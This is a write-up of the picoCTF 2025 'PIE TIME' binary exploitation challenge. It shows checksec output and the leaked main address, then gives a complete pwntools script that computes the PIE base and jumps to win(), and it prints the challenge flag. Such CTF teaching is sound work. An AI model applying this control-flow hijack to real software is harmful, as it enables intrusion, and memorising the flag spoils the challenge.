pie_timpicoCTF 2025: PIE TIME Walkthrough

Challenge Info:

  • Platform: picoCTF 2025 - PIE TIME
  • Category: Binary Exploitation
  • Difficulty: Easy
  • Key Concepts: PIE (Position Independent Executable), Memory Leaks, Offset Calculation

Understanding the Challenge

This challenge introduces the concept of PIE (Position Independent Executable). The goal is to redirect the program's execution to a "win" function that prints the flag. However, because PIE is enabled, the memory addresses of functions change every time the program runs. We must use a memory leak provided by the program to calculate the correct address dynamically.


Reconnaissance and Analysis

Binary Protection Analysis

First, we analyze the binary to see what security mitigations are in place.

checksec --file=vuln

Output Analysis:

  • PIE: Enabled (Critical): The binary is loaded at a random base address each run. We cannot hardcode addresses like 0x401234.
  • NX: Enabled: We cannot execute code on the stack (shellcode won't work).
  • Canary: Found: Stack cookies protect against buffer overflows (though it turns out this challenge doesn't use a buffer overflow).

Figure 1: Checking binary protections confirms PIE is enabled.

Source Code Analysis

We examine vuln.c to find vulnerabilities.

The Leak:

printf("Address of main: %p\n", &main);

The program explicitly prints the address of the main function in memory. This is our bypass for PIE. By comparing this "leaked" runtime address to the static address in the binary file, we can find the Base Address.

The Vulnerability:

unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
// ...
void (*foo)(void) = (void (*)())val;
foo();

The program asks for an address and directly jumps to it. This is a logic bug. We just need to give it the address of the win() function.


PIE Bypass Methodology

Since addresses change every run, we use relative offsets. The distance between functions (e.g., main and win) is always constant.

The Mathematics

  • Static Analysis: pwntools reads the binary file to find the offset of main and win relative to the start of the file (0x0).
  • Runtime Calculation:
    1. Base Address = Leaked Address (Runtime) - Static Offset of Main
    2. Win Address (Runtime) = Base Address + Static Offset of Win

Local Exploitation

Before attacking the server, we ensure the exploit works on our own machine.

Environment Setup

  1. Permissions: Make the binary executable.
    chmod +x vuln

  2. Install Pwntools:
    pip install pwntools

Local Exploit Script

We write solve.py to automate the math. I have added .encode() to the send line to prevent the "Text is not bytes" warning.

from pwn import *

exe = './vuln'
elf = context.binary = ELF(exe)

# Start the process LOCALLY
io = process(exe)

# 1. Capture the leak
io.recvuntil(b"Address of main: ")
leak_line = io.recvline().strip()
leaked_main = int(leak_line, 16)
log.info(f"Leaked main: {hex(leaked_main)}")

# 2. Update base address
elf.address = leaked_main - elf.symbols['main']
log.success(f"PIE Base: {hex(elf.address)}")

# 3. Send the win address
# pwntools automatically calculates elf.symbols['win'] using the new base
win_addr = elf.symbols['win']
# We encode the string to bytes to avoid warnings
io.sendline(hex(win_addr).encode())

io.interactive()

Local Verification

Running this locally results in:

  • Output: You won! followed by Cannot open file.
  • Reason: The exploit worked (it jumped to win), but flag.txt does not exist on your local computer. This confirms the logic is sound.

Remote Exploitation

We now point the script at the picoCTF server to get the real flag.

Why Address Copying Fails

If main is at 0x55... on your computer, it might be at 0x77... on the server. Copying the address from your local run will cause a Segfault on the server. The script must calculate the address live during the connection.

Remote Exploit Script

We change one line in the script:

# Comment out the local process
# io = process(exe)

# Connect to the remote server (Replace with your instance details)
io = remote('rescued-float.picoctf.net', 61577)

Execution Flow

Running the script now performs the following steps automatically:

  1. Connects to rescued-float.picoctf.net.
  2. Reads the server's unique random address for main.
  3. Calculates the server's unique random address for win.
  4. Sends the correct hex string back.
  5. Receives the flag.

Final Flag: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_6f4e7236}

Figure 2: The script successfully calculates the address and retrieves the flag.


Key Takeaways

PIE Bypass Fundamentals

  • PIE randomizes absolute addresses but preserves relative offsets
  • Memory leaks enable base address calculation
  • Static analysis provides function offset constants
  • Runtime address = Base address + Static offset

Exploitation Techniques

  1. Identify memory leak source (leaked main address)
  2. Calculate base address using static offset
  3. Compute target function address dynamically
  4. Exploit control flow hijacking vulnerability
  5. Verify locally before remote exploitation